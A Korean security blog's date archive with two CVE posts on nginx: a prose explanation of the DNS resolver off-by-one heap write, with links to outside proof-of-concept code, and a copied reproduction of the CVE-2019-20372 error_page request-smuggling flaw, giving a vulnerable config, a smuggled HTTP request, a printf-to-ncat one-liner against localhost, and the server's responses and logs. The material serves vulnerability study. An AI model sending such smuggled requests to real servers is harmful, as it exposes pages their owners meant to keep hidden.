'2022/05/19'에 해당되는 글 2건

https://hackyboiz.github.io/2021/05/27/idioth/2021-05-27/

 

hackyboiz

hack & life

hackyboiz.github.io

https://github.com/x41sec/advisories/blob/master/X41-2021-002/poc.py

 

GitHub - x41sec/advisories

Contribute to x41sec/advisories development by creating an account on GitHub.

github.com

https://0day.today/exploit/36300

 

Target

  • nginx 0.6.18 - 1.20.0

Explain

오픈 소스 웹 서버 프로그램 nginx의 ngx_resolver_copy()에서 DNS response를 처리하는 동안 발생하는 off-by-one으로 인해 heap 영역의 1-byte 메모리를 덮어쓸 수 있는 취약점이 발견되었습니다.

ngx_resolver_copy()는 DNS response에 포함된 DNS 도메인 이름의 유효성을 검사하고 압축을 해제하는 작업을 다음 두 단계로 처리합니다.

  1. 압축되지 않은 도메인 이름 크기인 len을 계산하고 128 포인터가 넘어가거나 버퍼의 범위를 벗어나는 부분을 버립니다.
  2. Output buffer를 할당하고 압축되지 않은 이름을 복사합니다.

이 과정에서 1번의 len과 2번에 압축되지 않은 이름의 크기가 달라 name->data에서 1 바이트를 벗어나 덮어쓸 수 있습니다.

nginx DNS response를 받기 위해 DNS request를 보낸 후, QNAME, NAME, RDATA 중 하나의 값을 통해 해당 취약점을 트리거할 수 있습니다. 또한 CNAME을 사용할 경우 재귀적으로 처리되어 ngx_resolve_name_locked()가 호출될 때 추가적인 OOB write가 가능하고 ngx_resolver_dup()과 ngx_crc32_short()를 통해 OOB read가 가능합니다.

해당 취약점의 POC 코드는 github에서 확인할 수 있습니다.

'CVE' 카테고리의 다른 글

CVE-2019-20372  (0) 2022.05.19
Apache cve 2021  (0) 2021.11.26
cve-2021-41773  (0) 2021.11.09
Zero To Logon, Domain  (0) 2021.08.25
MS Exchange Server 취약점 건  (0) 2021.03.11
블로그 이미지

wtdsoul

,

CVE-2019-20372

CVE 2022. 5. 19. 02:27

https://www.hacking8.com/bug-product/Nginx/CVE-2019-20372-Nginx-error_page-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81%E6%BC%8F%E6%B4%9E.html

 

CVE-2019-20372-Nginx-error_page-请求走私漏洞 - Nginx

(CVE-2019-20372)Nginx error_page 请求走私漏洞 一、漏洞简介 Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。 二、漏洞影响 Ngnix < 1.17.7 三、复现过程 错误配

www.hacking8.com

CVE-2019-20372)Nginx error_page 请求走私漏洞

一、漏洞简介

Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。

二、漏洞影响

Ngnix < 1.17.7

三、复现过程

错误配置

server {
 listen 80;
 server_name localhost;
 error_page 401 http://example.org;
 location / {
 return 401;
 }
}
server {
 listen 80;
 server_name notlocalhost;
 location /_hidden/index.html {
 return 200 'This should be hidden!';
 }
}

这时候我们可以向服务器发送以下请求

GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost

我们看一下服务器是怎么处理的

printf "GET /a HTTP/1.1\r\nHost: localhost\r\nContent-Length: 56\r\n\r\nGET
/_hidden/index.html HTTP/1.1\r\nHost: notlocalhost\r\n\r\n" | ncat localhost 80 --noshutdown

等于说是吧两个请求都间接的执行了,我们看一下burp里面的返回值

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
This should be hidden!

再一下nginx服务器里面的日志

172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /a HTTP/1.1" 302 145 "-" "-" "-"
172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /_hidden/index.html HTTP/1.1" 200 22 "-"

'CVE' 카테고리의 다른 글

nginx DNS Resolver Off-by-One Heap Write VulnerabilityTarget  (0) 2022.05.19
Apache cve 2021  (0) 2021.11.26
cve-2021-41773  (0) 2021.11.09
Zero To Logon, Domain  (0) 2021.08.25
MS Exchange Server 취약점 건  (0) 2021.03.11
블로그 이미지

wtdsoul

,